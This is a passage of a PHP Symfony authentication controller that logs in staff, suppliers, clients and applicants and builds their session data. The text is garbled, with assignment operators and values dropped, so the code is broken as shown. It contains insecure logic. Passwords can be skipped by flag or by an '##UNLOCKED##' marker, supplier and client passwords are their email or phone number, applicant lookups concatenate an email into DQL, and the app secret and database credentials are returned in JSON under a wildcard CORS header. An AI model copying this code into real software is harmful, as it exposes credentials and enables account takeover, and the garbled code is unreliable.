  1455.                                     //            ;
  1456.                                     $this->get('mailer')->send($emailmessage);
  1457.                                 }
  1458.                             }
  1459.                         }
  1460.                     }
  1461.                 } else {
  1462.                     $data = array();
  1463.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1464.                         array(
  1465.                             'email' => $request->request->get('username')
  1466.                         )
  1467.                     );
  1468.                     if (!$user) {
  1469.                         $message "Wrong Email";
  1470.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1471.                             return new JsonResponse(array(
  1472.                                 'uid' => $session->get(UserConstants::USER_ID),
  1473.                                 'session' => $session,
  1474.                                 'success' => false,
  1475.                                 'errorStr' => $message,
  1476.                                 'session_data' => [],
  1477.                             ));
  1478.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1479.                             //                    return $response;
  1480.                         }
  1481.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1482.                             "message" => $message,
  1483.                             'page_title' => "Login",
  1484.                             'gocList' => $gocDataList,
  1485.                             'gocId' => $gocId
  1486.                         ));
  1487.                     }
  1488.                     if ($user) {
  1489.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1490.                             $message "Sorry, Your Account is Deactivated";
  1491.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1492.                                 return new JsonResponse(array(
  1493.                                     'uid' => $session->get(UserConstants::USER_ID),
  1494.                                     'session' => $session,
  1495.                                     'success' => false,
  1496.                                     'errorStr' => $message,
  1497.                                     'session_data' => [],
  1498.                                 ));
  1499.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1500.                                 //                    return $response;
  1501.                             }
  1502.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1503.                                 "message" => $message,
  1504.                                 'page_title' => "Login",
  1505.                                 'gocList' => $gocDataList,
  1506.                                 'gocId' => $gocId
  1507.                             ));
  1508.                         }
  1509.                     }
  1510.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1511.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1512.                         $message "Wrong Email/Password";
  1513.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1514.                             return new JsonResponse(array(
  1515.                                 'uid' => $session->get(UserConstants::USER_ID),
  1516.                                 'session' => $session,
  1517.                                 'success' => false,
  1518.                                 'errorStr' => $message,
  1519.                                 'session_data' => [],
  1520.                             ));
  1521.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1522.                             //                    return $response;
  1523.                         }
  1524.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1525.                             "message" => $message,
  1526.                             'page_title' => "Login",
  1527.                             'gocList' => $gocDataList,
  1528.                             'gocId' => $gocId
  1529.                         ));
  1530.                     }
  1531.                 }
  1532.                 if ($user) {
  1533.                     //set cookie
  1534.                     if ($remember_me == 1)
  1535.                         $session->set('REMEMBERME'1);
  1536.                     else
  1537.                         $session->set('REMEMBERME'0);
  1538.                     $userType $user->getUserType();
  1539.                     // Entity User
  1540.                     $userId $user->getUserId();
  1541.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1542.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1543.                     $session->set('firstLogin'$firstLogin);
  1544.                     $session->set(UserConstants::USER_TYPE$userType);
  1545.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1546.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1547.                     $session->set('oAuthImage'$user->getOAuthImage());
  1548.                     $session->set(UserConstants::USER_NAME$user->getName());
  1549.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1550.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1551.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1552.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1553.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1554.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1555.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1556.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1557.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1558.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1559.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1560.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1561.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1562.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1563.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1564.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1565.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1566.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1567.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1568.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1569.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1570.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1571.                     $route_list_array = [];
  1572.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1573.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1574.                     $loginID EntityUserM::addEntityUserLoginLog(
  1575.                         $em_goc,
  1576.                         $userId,
  1577.                         $request->server->get("REMOTE_ADDR"),
  1578.                         0,
  1579.                         $deviceId,
  1580.                         $oAuthData['token'],
  1581.                         $oAuthData['type']
  1582.                     );
  1583.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1584.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1585.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1586.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1587.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1588.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1589.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1590.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1591.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1592.                     $appIdList json_decode($user->getUserAppIdList());
  1593.                     if ($appIdList == null)
  1594.                         $appIdList = [];
  1595.                     $companyIdListByAppId = [];
  1596.                     $companyNameListByAppId = [];
  1597.                     $companyImageListByAppId = [];
  1598.                     if (!in_array($user->getUserAppId(), $appIdList))
  1599.                         $appIdList[] = $user->getUserAppId();
  1600.                     foreach ($appIdList as $currAppId) {
  1601.                         if ($currAppId == $user->getUserAppId()) {
  1602.                             foreach ($company_id_list as $index_company => $company_id) {
  1603.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1604.                                 $app_company_index $currAppId '_' $company_id;
  1605.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1606.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1607.                             }
  1608.                         } else {
  1609.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1610.                                 $this->getDoctrine()->getManager('company_group'),
  1611.                                 $gocEnabled,
  1612.                                 $currAppId
  1613.                             );
  1614.                             if (!empty($dataToConnect)) {
  1615.                                 $connector $this->container->get('application_connector');
  1616.                                 $connector->resetConnection(
  1617.                                     'default',
  1618.                                     $dataToConnect['dbName'],
  1619.                                     $dataToConnect['dbUser'],
  1620.                                     $dataToConnect['dbPass'],
  1621.                                     $dataToConnect['dbHost'],
  1622.                                     $reset true
  1623.                                 );
  1624.                                 $em $this->getDoctrine()->getManager();
  1625.                                 $companyList Company::getCompanyListWithImage($em);
  1626.                                 foreach ($companyList as $c => $dta) {
  1627.                                     //                                $company_id_list[]=$c;
  1628.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1629.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1630.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1631.                                     $app_company_index $currAppId '_' $c;
  1632.                                     $company_locale $companyList[$c]['locale'];
  1633.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1634.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1635.                                 }
  1636.                             }
  1637.                         }
  1638.                     }
  1639.                     $session->set('appIdList'$appIdList);
  1640.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1641.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1642.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1643.                     $branchIdList json_decode($user->getUserBranchIdList());
  1644.                     $branchId $user->getUserBranchId();
  1645.                     $session->set('branchIdList'$branchIdList);
  1646.                     $session->set('branchId'$branchId);
  1647.                     if ($user->getAllModuleAccessFlag() == 1)
  1648.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1649.                     else
  1650.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1651.                     $session_data = array(
  1652.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1653.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1654.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1655.                         'firstLogin' => $firstLogin,
  1656.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1657.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1658.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1659.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1660.                         'oAuthImage' => $session->get('oAuthImage'),
  1661.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1662.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1663.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1664.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1665.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1666.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1667.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1668.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1669.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1670.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1671.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1672.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1673.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1674.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1675.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1676.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1677.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1678.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1679.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1680.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1681.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1682.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1683.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1684.                         //new
  1685.                         'appIdList' => $session->get('appIdList'),
  1686.                         'branchIdList' => $session->get('branchIdList'null),
  1687.                         'branchId' => $session->get('branchId'null),
  1688.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1689.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1690.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1691.                     );
  1692.                     $session_data $this->filterClientSessionData($session_data);
  1693.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1694.                     $token $tokenData['token'];
  1695.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1696.                         $session->set('remoteVerified'1);
  1697.                         $response = new JsonResponse(array(
  1698.                             'token' => $token,
  1699.                             'uid' => $session->get(UserConstants::USER_ID),
  1700.                             'session' => $session,
  1701.                             'success' => true,
  1702.                             'session_data' => $session_data,
  1703.                         ));
  1704.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1705.                         return $response;
  1706.                     }
  1707.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1708.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1709.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1710.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1711.                                 $redPath parse_url($redPHP_URL_PATH);
  1712.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1713.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1714.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false) {
  1715.                                     return $this->redirect($red);
  1716.                                 }
  1717.                             }
  1718.                         } else {
  1719.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1720.                         }
  1721.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1722.                         return $this->redirectToRoute("dashboard");
  1723.                     else
  1724.                         return $this->redirectToRoute($user->getDefaultRoute());
  1725. //                    if ($request->server->has("HTTP_REFERER")) {
  1726. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1727. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1728. //                        }
  1729. //                    }
  1730. //
  1731. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1732. //                    if ($request->request->has('referer_path')) {
  1733. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1734. //                            return $this->redirect($request->request->get('referer_path'));
  1735. //                        }
  1736. //                    }
  1737.                     //                    if($request->request->has('gocId')
  1738.                 }
  1739.             } else {
  1740.                 if ($specialLogin == 1) {
  1741.                 } else if (strpos($uname'SID-') !== false) {
  1742.                     $specialLogin 1;
  1743.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1744.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1745.                     //*** supplier id will be last 6 DIgits
  1746.                     $str_app_id_supplier_id substr($uname4);
  1747.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1748.                     {
  1749.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1750.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1751.                     }
  1752.                     //                else
  1753.                     //                {
  1754.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1755.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1756.                     //                }
  1757.                 } else if (strpos($uname'CID-') !== false) {
  1758.                     $specialLogin 1;
  1759.                     $userType UserConstants::USER_TYPE_CLIENT;
  1760.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1761.                     //*** supplier id will be last 6 DIgits
  1762.                     $str_app_id_client_id substr($uname4);
  1763.                     $clientId = ($str_app_id_client_id) % 1000000;
  1764.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1765.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1766.                     $specialLogin 1;
  1767.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1768.                     $isApplicantLogin 1;
  1769.                     if ($oAuthData) {
  1770.                         $email $oAuthData['email'];
  1771.                         $userName $email;
  1772. //                        $userName = explode('@', $email)[0];
  1773. //                        $userName = str_split($userName);
  1774. //                        $userNameArr = $userName;
  1775.                     } else if (strpos($uname'APP-') !== false) {
  1776.                         $email $uname;
  1777.                         $userName substr($email4);
  1778. //                        $userNameArr = str_split($userName);
  1779. //                        $generatedIdFromAscii = 0;
  1780. //                        foreach ($userNameArr as $item) {
  1781. //                            $generatedIdFromAscii += ord($item);
  1782. //                        }
  1783. //
  1784. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1785. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1786. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1787.                     } else {
  1788.                         $email $uname;
  1789.                         $userName $uname;
  1790. //                            $userName = substr($email, 4);
  1791. //                        $userName = explode('@', $email)[0];
  1792. //                            $userNameArr = str_split($userName);
  1793.                     }
  1794.                 }
  1795.                 $data = array();
  1796.                 if ($hasGoc == 1) {
  1797.                     if ($gocId != && $gocId != "") {
  1798. //                        $gocId = $request->request->get('gocId');
  1799.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1800.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1801.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1802.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1803.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1804.                         $connector $this->container->get('application_connector');
  1805.                         $connector->resetConnection(
  1806.                             'default',
  1807.                             $gocDataList[$gocId]['dbName'],
  1808.                             $gocDataList[$gocId]['dbUser'],
  1809.                             $gocDataList[$gocId]['dbPass'],
  1810.                             $gocDataList[$gocId]['dbHost'],
  1811.                             $reset true
  1812.                         );
  1813.                     } else if ($appId != && $appId != "") {
  1814.                         $gocId $request->request->get('gocId');
  1815.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1816.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1817.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1818.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1819.                         $gocId $gocDataListByAppId[$appId]['id'];
  1820.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1821.                         $connector $this->container->get('application_connector');
  1822.                         $connector->resetConnection(
  1823.                             'default',
  1824.                             $gocDbName,
  1825.                             $gocDbUser,
  1826.                             $gocDbPass,
  1827.                             $gocDbHost,
  1828.                             $reset true
  1829.                         );
  1830.                     }
  1831.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1832.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1833.                     if ($gocId != && $gocId != "") {
  1834.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1835.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1836.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1837.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1838.                         $connector $this->container->get('application_connector');
  1839.                         $connector->resetConnection(
  1840.                             'default',
  1841.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1842.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1843.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1844.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1845.                             $reset true
  1846.                         );
  1847.                     }
  1848.                 }
  1849.                 $session $request->getSession();
  1850.                 $em $this->getDoctrine()->getManager();
  1851.                 //will work on later on supplier login
  1852.                 if ($specialLogin == 1) {
  1853.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1854.                         //validate supplier
  1855.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1856.                             ->findOneBy(
  1857.                                 array(
  1858.                                     'supplierId' => $supplierId
  1859.                                 )
  1860.                             );
  1861.                         if (!$supplier) {
  1862.                             $message "Wrong UserName";
  1863.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1864.                                 return new JsonResponse(array(
  1865.                                     'uid' => $session->get(UserConstants::USER_ID),
  1866.                                     'session' => $session,
  1867.                                     'success' => false,
  1868.                                     'errorStr' => $message,
  1869.                                     'session_data' => [],
  1870.                                 ));
  1871.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1872.                                 //                    return $response;
  1873.                             }
  1874.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1875.                                 "message" => $message,
  1876.                                 'page_title' => "Login",
  1877.                                 'gocList' => $gocDataList,
  1878.                                 'gocId' => $gocId
  1879.                             ));
  1880.                         }
  1881.                         if ($supplier) {
  1882.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1883.                                 $message "Sorry, Your Account is Deactivated";
  1884.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1885.                                     return new JsonResponse(array(
  1886.                                         'uid' => $session->get(UserConstants::USER_ID),
  1887.                                         'session' => $session,
  1888.                                         'success' => false,
  1889.                                         'errorStr' => $message,
  1890.                                         'session_data' => [],
  1891.                                     ));
  1892.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1893.                                     //                    return $response;
  1894.                                 }
  1895.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1896.                                     "message" => $message,
  1897.                                     'page_title' => "Login",
  1898.                                     'gocList' => $gocDataList,
  1899.                                     'gocId' => $gocId
  1900.                                 ));
  1901.                             }
  1902.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1903.                                 //pass ok proceed
  1904.                             } else {
  1905.                                 if ($skipPassword == 1) {
  1906.                                 } else {
  1907.                                     $message "Wrong Email/Password";
  1908.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1909.                                         return new JsonResponse(array(
  1910.                                             'uid' => $session->get(UserConstants::USER_ID),
  1911.                                             'session' => $session,
  1912.                                             'success' => false,
  1913.                                             'errorStr' => $message,
  1914.                                             'session_data' => [],
  1915.                                         ));
  1916.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1917.                                         //                    return $response;
  1918.                                     }
  1919.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1920.                                         "message" => $message,
  1921.                                         'page_title' => "Login",
  1922.                                         'gocList' => $gocDataList,
  1923.                                         'gocId' => $gocId
  1924.                                     ));
  1925.                                 }
  1926.                             }
  1927.                             $jd = [$supplier->getCompanyId()];
  1928.                             if ($jd != null && $jd != '' && $jd != [])
  1929.                                 $company_id_list $jd;
  1930.                             else
  1931.                                 $company_id_list = [1];
  1932.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1933.                             foreach ($company_id_list as $c) {
  1934.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1935.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1936.                             }
  1937.                             $user $supplier;
  1938.                         }
  1939.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1940.                         //validate supplier
  1941.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1942.                             ->findOneBy(
  1943.                                 array(
  1944.                                     'clientId' => $clientId
  1945.                                 )
  1946.                             );
  1947.                         if (!$client) {
  1948.                             $message "Wrong UserName";
  1949.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1950.                                 return new JsonResponse(array(
  1951.                                     'uid' => $session->get(UserConstants::USER_ID),
  1952.                                     'session' => $session,
  1953.                                     'success' => false,
  1954.                                     'errorStr' => $message,
  1955.                                     'session_data' => [],
  1956.                                 ));
  1957.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1958.                                 //                    return $response;
  1959.                             }
  1960.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1961.                                 "message" => $message,
  1962.                                 'page_title' => "Login",
  1963.                                 'gocList' => $gocDataList,
  1964.                                 'gocId' => $gocId
  1965.                             ));
  1966.                         }
  1967.                         if ($client) {
  1968.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1969.                                 $message "Sorry, Your Account is Deactivated";
  1970.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1971.                                     return new JsonResponse(array(
  1972.                                         'uid' => $session->get(UserConstants::USER_ID),
  1973.                                         'session' => $session,
  1974.                                         'success' => false,
  1975.                                         'errorStr' => $message,
  1976.                                         'session_data' => [],
  1977.                                     ));
  1978.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1979.                                     //                    return $response;
  1980.                                 }
  1981.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1982.                                     "message" => $message,
  1983.                                     'page_title' => "Login",
  1984.                                     'gocList' => $gocDataList,
  1985.                                     'gocId' => $gocId
  1986.                                 ));
  1987.                             }
  1988.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  1989.                                 //pass ok proceed
  1990.                             } else {
  1991.                                 if ($skipPassword == 1) {
  1992.                                 } else {
  1993.                                     $message "Wrong Email/Password";
  1994.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1995.                                         return new JsonResponse(array(
  1996.                                             'uid' => $session->get(UserConstants::USER_ID),
  1997.                                             'session' => $session,
  1998.                                             'success' => false,
  1999.                                             'errorStr' => $message,
  2000.                                             'session_data' => [],
  2001.                                         ));
  2002.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2003.                                         //                    return $response;
  2004.                                     }
  2005.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2006.                                         "message" => $message,
  2007.                                         'page_title' => "Login",
  2008.                                         'gocList' => $gocDataList,
  2009.                                         'gocId' => $gocId
  2010.                                     ));
  2011.                                 }
  2012.                             }
  2013.                             $jd = [$client->getCompanyId()];
  2014.                             if ($jd != null && $jd != '' && $jd != [])
  2015.                                 $company_id_list $jd;
  2016.                             else
  2017.                                 $company_id_list = [1];
  2018.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2019.                             foreach ($company_id_list as $c) {
  2020.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2021.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2022.                             }
  2023.                             $user $client;
  2024.                         }
  2025.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2026.                         $em $this->getDoctrine()->getManager('company_group');
  2027.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2028.                         if ($oAuthData) {
  2029.                             $oAuthEmail $oAuthData['email'];
  2030.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2031.                             $user $applicantRepo->findOneBy(['oAuthEmail' => $oAuthEmail]);
  2032.                             if (!$user) {
  2033.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2034.                                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  2035.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  2036.                                     ->getQuery()
  2037.                                     ->getResult();
  2038.                                 if (!empty($usersQueried))
  2039.                                     $user $usersQueried[0];
  2040.                             }
  2041.                             if (!$user)
  2042.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2043.                         } else {
  2044.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2045.                             if (!$user)
  2046.                                 $user $applicantRepo->findOneBy(['oAuthEmail' => $email]);
  2047.                             if (!$user) {
  2048.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2049.                                     ->where("A.email like '%$email%'")
  2050.                                     ->getQuery()
  2051.                                     ->getResult();
  2052.                                 if (!empty($usersQueried))
  2053.                                     $user $usersQueried[0];
  2054.                             }
  2055.                             if (!$user)
  2056.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2057.                         }
  2058.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2059. //                        if($systemType=='_BUDDYBEE_')
  2060. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2061.                         if (!$user) {
  2062.                             $message "We could not find your username or email";
  2063.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2064.                                 return new JsonResponse(array(
  2065.                                     'uid' => $session->get(UserConstants::USER_ID),
